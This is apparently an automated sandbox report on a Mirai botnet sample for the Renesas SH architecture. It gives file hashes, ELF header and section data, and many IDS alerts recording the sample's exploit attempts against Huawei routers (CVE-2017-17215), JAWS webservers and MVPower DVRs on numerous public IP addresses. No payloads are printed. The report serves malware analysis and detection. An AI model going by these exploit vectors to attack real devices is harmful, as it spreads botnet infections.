	3cKES250PA.elf	Get hash	malicious	Mirai	Browse	204.82.110.224
	akido.arm.elf	Get hash	malicious	Mirai	Browse	204.81.245.6
	cdFu5RBizJ.elf	Get hash	malicious	Mirai	Browse	204.81.50.238

Process:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	5128
Entropy (8bit):	4.457618060812407
Encrypted:	false
SSDEEP:	96:R14GBdYLSNUH+ZAFQrSRR6dn0tWlTDFwIfM/vfzPpjT9I3jZ/qeH2Wg:74GnYLSNUH+ZAyrSRRYn0taTDKIfMPzv
MD5:	2A2A7C34B585CDAE5E123F3C5100C253
SHA1:	E814B1B1531B25581DB76CB813C85E53E1390BA4
SHA-256:	BCA18B654D038B69B25ACDF84CFF99BF521A1B54F482F1DE2B54CE13AC219A04
SHA-512:	CEC7A3A7A6AD6C2A6D101A3BF6D89A01EBDCEB0121AA3DE1CEA024268410B39E4E9188382439C7C3FD734C66764B66B13F1D277700B00A2FCB35CB67E31996DD
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<channel name="xfce4-panel" version="1.0">. <property name="configver" type="int" value="2"/>. <property name="panels" type="array">. <value type="int" value="1"/>. <value type="int" value="2"/>. <property name="panel-1" type="empty">. <property name="position" type="string" value="p=6;x=0;y=0"/>. <property name="length" type="uint" value="100"/>. <property name="position-locked" type="bool" value="true"/>. <property name="icon-size" type="uint" value="16"/>. <property name="size" type="uint" value="26"/>. <property name="plugin-ids" type="array">. <value type="int" value="1"/>. <value type="int" value="2"/>. <value type="int" value="3"/>. <value type="int" value="4"/>. <value type="int" value="5"/>. <value type="int" value="6"/>. <value type="int" value="7"/>. <value type="int" value="8"/>. <value type="int" value="9"/>. <value type="in

Static File Info

General

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.683831579436531
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	s8y4CBbFHW.elf
File size:	74'356 bytes
MD5:	20bc328ef0647aac4fca80a0067e38f8
SHA1:	e6aed42419880ef850f77f1ccbe402361bccb9fe
SHA256:	1cfa6726bfb6144cf26150f61c43716f48e0794f0f950ee40d5316fb9435ea37
SHA512:	8dac26711efbfbd7f53d42086de6c510d7be874f568cd6362fe982b4bd8a4a973e25271694758a929ae2940857f79485fc841d621a36a4b643f54eca4ed943c0
SSDEEP:	1536:N/OkFHkwdPBGD2AhuZm67WSyaGtcPzIKHzIHsiJZAX9:N/O+EwOomS0clSlZ
TLSH:	3C738D32E0146CE2CA2019B5B6EDDD7C0343BD6150666CB16E8DABD84D6FEECB18DB50
File Content Preview:	.ELF.....................@.4.... ......4. ...(...............@...@.....................t ..t B.t B.0...t...........Q.td..............................././"O.n......#.@........#.*@....&O.n.l..................................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0xc
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	73956
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x2e	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x104e0	0x0	0x6	AX	32
.fini	PROGBITS	0x4105c0	0x105c0	0x22	0x0	0x6	AX	4
.rodata	PROGBITS	0x4105e4	0x105e4	0x13d4	0x0	0x2	A	4
.ctors	PROGBITS	0x422074	0x12074	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x42207c	0x1207c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x422088	0x12088	0x1c	0x0	0x3	WA	4
.bss	NOBITS	0x4220a4	0x120a4	0x944	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x120a4	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x119b8	0x119b8	6.7896	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x12074	0x422074	0x422074	0x30	0x974	2.2883	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/10/24-15:38:02.922975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33046	37215	192.168.2.13	197.142.139.143
06/10/24-15:38:00.230283	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53326	37215	192.168.2.13	41.63.57.16
06/10/24-15:37:59.986870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57044	37215	192.168.2.13	156.218.214.250
06/10/24-15:38:02.759599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43962	37215	192.168.2.13	41.212.41.218
06/10/24-15:38:02.120500	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54986	80	192.168.2.13	89.231.127.82
06/10/24-15:38:02.089268	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40248	80	192.168.2.13	51.171.172.212
06/10/24-15:38:02.751686	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53884	37215	192.168.2.13	197.255.245.2
06/10/24-15:38:02.134117	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41286	80	192.168.2.13	220.61.58.145
06/10/24-15:37:59.996932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38538	37215	192.168.2.13	41.179.145.152
06/10/24-15:37:59.747937	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32824	80	192.168.2.13	70.109.71.255
06/10/24-15:38:02.194608	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41838	80	192.168.2.13	164.199.106.8
06/10/24-15:38:02.239619	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48010	80	192.168.2.13	70.237.38.161
06/10/24-15:38:02.207442	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47142	80	192.168.2.13	207.200.77.20
06/10/24-15:37:59.931967	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37610	37215	192.168.2.13	156.89.39.231
06/10/24-15:38:02.827129	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42044	37215	192.168.2.13	197.251.250.147
06/10/24-15:37:59.933966	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56460	37215	192.168.2.13	156.32.132.93
06/10/24-15:38:02.687592	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56152	37215	192.168.2.13	156.149.203.68
06/10/24-15:38:02.178384	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40916	80	192.168.2.13	144.53.68.134
06/10/24-15:37:59.809084	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35328	80	192.168.2.13	51.33.7.198
06/10/24-15:38:00.195434	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34518	37215	192.168.2.13	156.156.125.193
06/10/24-15:37:59.946134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33492	37215	192.168.2.13	197.125.224.191
06/10/24-15:38:02.306024	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58582	80	192.168.2.13	221.232.64.182
06/10/24-15:38:00.162235	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37698	37215	192.168.2.13	41.34.192.208
06/10/24-15:38:02.734955	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57338	37215	192.168.2.13	156.126.41.40
06/10/24-15:37:59.999497	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37368	37215	192.168.2.13	156.90.232.117
06/10/24-15:38:02.647915	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51404	37215	192.168.2.13	197.111.134.175
06/10/24-15:38:00.203547	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45678	37215	192.168.2.13	197.246.123.244
06/10/24-15:38:00.238002	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57242	37215	192.168.2.13	197.145.93.184
06/10/24-15:38:02.488949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38910	37215	192.168.2.13	41.194.53.246
06/10/24-15:37:59.933051	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53100	37215	192.168.2.13	41.97.23.92
06/10/24-15:38:02.834263	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39336	37215	192.168.2.13	156.66.48.157
06/10/24-15:38:00.160743	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57854	37215	192.168.2.13	156.211.139.234
06/10/24-15:38:02.192815	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47476	80	192.168.2.13	217.58.14.173
06/10/24-15:38:02.097659	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33038	80	192.168.2.13	211.223.163.145
06/10/24-15:38:02.088585	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42532	80	192.168.2.13	181.95.234.17
06/10/24-15:37:59.965473	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48328	37215	192.168.2.13	41.15.193.245
06/10/24-15:37:59.790906	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41002	80	192.168.2.13	173.150.225.180
06/10/24-15:38:02.095481	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57206	80	192.168.2.13	205.141.193.122
06/10/24-15:38:00.165713	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36522	37215	192.168.2.13	41.139.140.243
06/10/24-15:38:02.510425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37076	37215	192.168.2.13	156.245.92.52
06/10/24-15:37:59.797691	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39842	80	192.168.2.13	13.159.171.238
06/10/24-15:37:59.983452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44048	37215	192.168.2.13	197.255.246.136
06/10/24-15:38:02.317684	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40720	80	192.168.2.13	129.130.176.0
06/10/24-15:38:02.657284	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50714	37215	192.168.2.13	41.14.88.10
06/10/24-15:37:59.973933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60388	37215	192.168.2.13	197.149.113.57
06/10/24-15:38:00.188379	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44576	37215	192.168.2.13	197.152.159.10
06/10/24-15:38:02.652273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35332	37215	192.168.2.13	197.92.239.151
06/10/24-15:38:02.085779	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50556	80	192.168.2.13	158.99.97.254
06/10/24-15:37:59.942479	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55606	37215	192.168.2.13	197.142.203.17
06/10/24-15:38:02.798921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58940	37215	192.168.2.13	156.145.128.99
06/10/24-15:37:59.970506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60046	37215	192.168.2.13	41.174.115.39
06/10/24-15:38:00.197151	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48674	37215	192.168.2.13	41.154.147.59
06/10/24-15:38:02.187428	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49758	80	192.168.2.13	41.85.227.153
06/10/24-15:38:02.201308	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41832	80	192.168.2.13	122.154.206.75
06/10/24-15:37:59.756001	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53434	80	192.168.2.13	70.156.171.43
06/10/24-15:38:00.001255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37376	37215	192.168.2.13	156.15.16.186
06/10/24-15:38:00.239703	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33930	37215	192.168.2.13	41.183.245.26
06/10/24-15:38:00.212309	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55900	37215	192.168.2.13	197.128.202.20
06/10/24-15:38:02.502251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51694	37215	192.168.2.13	197.235.58.223
06/10/24-15:37:59.788491	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46042	80	192.168.2.13	31.24.128.114
06/10/24-15:38:02.723332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47500	37215	192.168.2.13	197.47.184.132
06/10/24-15:38:00.019873	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41708	37215	192.168.2.13	156.19.135.49
06/10/24-15:38:02.100541	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60212	80	192.168.2.13	118.240.5.99
06/10/24-15:38:02.778188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36016	37215	192.168.2.13	41.186.142.103
06/10/24-15:38:02.862438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57532	37215	192.168.2.13	156.34.17.184
06/10/24-15:38:02.869004	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39244	37215	192.168.2.13	41.168.51.174
06/10/24-15:38:00.183832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50966	37215	192.168.2.13	156.110.2.110
06/10/24-15:38:02.135367	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56392	80	192.168.2.13	103.245.19.81
06/10/24-15:37:59.925134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60470	37215	192.168.2.13	156.57.11.197
06/10/24-15:38:02.644982	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60718	37215	192.168.2.13	156.152.171.196
06/10/24-15:38:00.261547	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51604	37215	192.168.2.13	197.95.0.54
06/10/24-15:38:02.689784	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55340	37215	192.168.2.13	197.81.221.6
06/10/24-15:38:02.118012	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40336	80	192.168.2.13	142.74.226.65
06/10/24-15:38:02.259702	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48706	80	192.168.2.13	89.247.19.145
06/10/24-15:38:02.776905	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46860	37215	192.168.2.13	197.45.254.180
06/10/24-15:38:00.231962	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49858	37215	192.168.2.13	156.36.86.237
06/10/24-15:38:00.039932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38456	37215	192.168.2.13	156.139.95.100
06/10/24-15:38:00.233672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59904	37215	192.168.2.13	197.114.103.51
06/10/24-15:38:02.113559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47840	80	192.168.2.13	122.194.52.31
06/10/24-15:38:00.012794	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49156	37215	192.168.2.13	156.245.237.250
06/10/24-15:38:00.170870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57464	37215	192.168.2.13	41.65.114.229
06/10/24-15:38:02.500162	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43270	37215	192.168.2.13	156.241.169.48
06/10/24-15:38:00.173963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33040	37215	192.168.2.13	156.217.108.5
06/10/24-15:38:02.712763	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56980	37215	192.168.2.13	156.212.245.105
06/10/24-15:37:59.943966	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60614	37215	192.168.2.13	156.10.20.117
06/10/24-15:37:59.984293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52668	37215	192.168.2.13	156.197.209.223
06/10/24-15:38:02.808787	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53890	37215	192.168.2.13	41.19.84.44
06/10/24-15:38:00.201249	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56976	37215	192.168.2.13	156.79.171.4
06/10/24-15:38:02.657974	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38440	37215	192.168.2.13	197.63.49.202
06/10/24-15:38:02.250691	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33128	80	192.168.2.13	160.15.119.249
06/10/24-15:37:59.980839	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35420	37215	192.168.2.13	197.64.121.194
06/10/24-15:38:00.002985	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34412	37215	192.168.2.13	156.156.74.74
06/10/24-15:38:02.869779	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58204	37215	192.168.2.13	197.36.79.49
06/10/24-15:38:02.928461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46424	37215	192.168.2.13	197.157.72.91
06/10/24-15:38:00.208966	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42074	37215	192.168.2.13	156.250.0.84
06/10/24-15:38:00.162961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55306	37215	192.168.2.13	156.199.176.162
06/10/24-15:38:02.775920	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35870	37215	192.168.2.13	197.39.173.119
06/10/24-15:38:00.266123	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37370	37215	192.168.2.13	41.129.146.218
06/10/24-15:38:02.740863	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59230	37215	192.168.2.13	41.111.68.220
06/10/24-15:37:59.995486	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58564	37215	192.168.2.13	156.245.2.205
06/10/24-15:38:00.017705	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44662	37215	192.168.2.13	41.253.102.61
06/10/24-15:38:02.879110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58050	37215	192.168.2.13	41.150.80.142
06/10/24-15:38:02.118708	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41168	80	192.168.2.13	221.178.28.105
06/10/24-15:38:02.677116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45284	37215	192.168.2.13	156.224.70.86
06/10/24-15:38:00.243236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34724	37215	192.168.2.13	41.231.72.216
06/10/24-15:38:02.211759	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36122	80	192.168.2.13	96.64.204.162
06/10/24-15:38:02.913437	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59684	37215	192.168.2.13	41.187.204.30
06/10/24-15:37:59.820455	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48502	80	192.168.2.13	145.193.92.118
06/10/24-15:37:59.974792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44740	37215	192.168.2.13	41.38.164.93
06/10/24-15:37:59.864921	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37108	80	192.168.2.13	86.248.77.229
06/10/24-15:38:00.258036	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52852	37215	192.168.2.13	197.130.110.26
06/10/24-15:38:00.183026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53528	37215	192.168.2.13	41.9.80.183
06/10/24-15:38:02.497343	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58434	37215	192.168.2.13	197.149.87.73
06/10/24-15:38:00.020596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56620	37215	192.168.2.13	156.24.110.61
06/10/24-15:37:59.975667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36530	37215	192.168.2.13	156.231.3.185
06/10/24-15:38:02.780766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57340	37215	192.168.2.13	41.177.168.250
06/10/24-15:38:00.215590	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57534	37215	192.168.2.13	156.166.206.200
06/10/24-15:38:02.666292	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34524	37215	192.168.2.13	197.151.209.193
06/10/24-15:37:59.978246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60256	37215	192.168.2.13	41.204.133.93
06/10/24-15:38:02.491066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47950	37215	192.168.2.13	156.134.197.214
06/10/24-15:38:00.193307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34652	37215	192.168.2.13	41.154.67.6
06/10/24-15:37:59.767523	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60126	80	192.168.2.13	88.157.63.21
06/10/24-15:38:02.660067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60882	37215	192.168.2.13	41.178.84.39
06/10/24-15:38:02.836583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33064	37215	192.168.2.13	156.2.52.209
06/10/24-15:38:00.163693	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60154	37215	192.168.2.13	197.176.59.104
06/10/24-15:38:00.004662	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53414	37215	192.168.2.13	156.38.108.66
06/10/24-15:38:02.674620	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54890	37215	192.168.2.13	197.224.191.228
06/10/24-15:38:00.263049	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57558	37215	192.168.2.13	41.109.88.228
06/10/24-15:38:00.033459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36414	37215	192.168.2.13	156.115.29.3
06/10/24-15:38:02.121619	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51760	80	192.168.2.13	135.204.76.26
06/10/24-15:38:02.763209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43930	37215	192.168.2.13	41.218.218.29
06/10/24-15:37:59.762945	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50134	80	192.168.2.13	102.230.19.253
06/10/24-15:38:00.030618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41584	37215	192.168.2.13	41.169.217.182
06/10/24-15:38:02.507632	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60618	37215	192.168.2.13	156.211.140.83
06/10/24-15:38:02.771027	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35570	37215	192.168.2.13	156.180.47.217
06/10/24-15:38:02.768716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53660	37215	192.168.2.13	41.150.135.103
06/10/24-15:37:59.988624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51130	37215	192.168.2.13	41.109.81.128
06/10/24-15:38:00.253141	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42484	37215	192.168.2.13	197.229.179.187
06/10/24-15:38:02.851207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55572	37215	192.168.2.13	197.81.50.55
06/10/24-15:37:59.938715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45636	37215	192.168.2.13	197.11.121.199
06/10/24-15:38:02.173369	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45780	80	192.168.2.13	96.169.78.25
06/10/24-15:37:59.936837	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47918	37215	192.168.2.13	197.192.210.171
06/10/24-15:38:02.261108	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47972	80	192.168.2.13	37.23.114.2
06/10/24-15:37:59.994517	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39806	37215	192.168.2.13	197.99.205.156
06/10/24-15:38:02.754766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59676	37215	192.168.2.13	197.243.121.228
06/10/24-15:38:00.029895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33426	37215	192.168.2.13	41.199.166.65
06/10/24-15:38:02.200092	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41896	80	192.168.2.13	211.186.230.205
06/10/24-15:38:02.779348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39560	37215	192.168.2.13	197.254.151.216
06/10/24-15:38:02.860487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44080	37215	192.168.2.13	41.39.148.204
06/10/24-15:37:59.795427	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37488	80	192.168.2.13	86.102.128.211
06/10/24-15:38:00.031359	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52142	37215	192.168.2.13	197.94.187.63
06/10/24-15:38:02.215874	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35478	80	192.168.2.13	118.231.106.106
06/10/24-15:37:59.800000	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42016	80	192.168.2.13	195.50.200.227
06/10/24-15:38:00.133538	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35252	37215	192.168.2.13	41.136.197.138
06/10/24-15:38:02.656081	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38930	37215	192.168.2.13	41.120.207.139
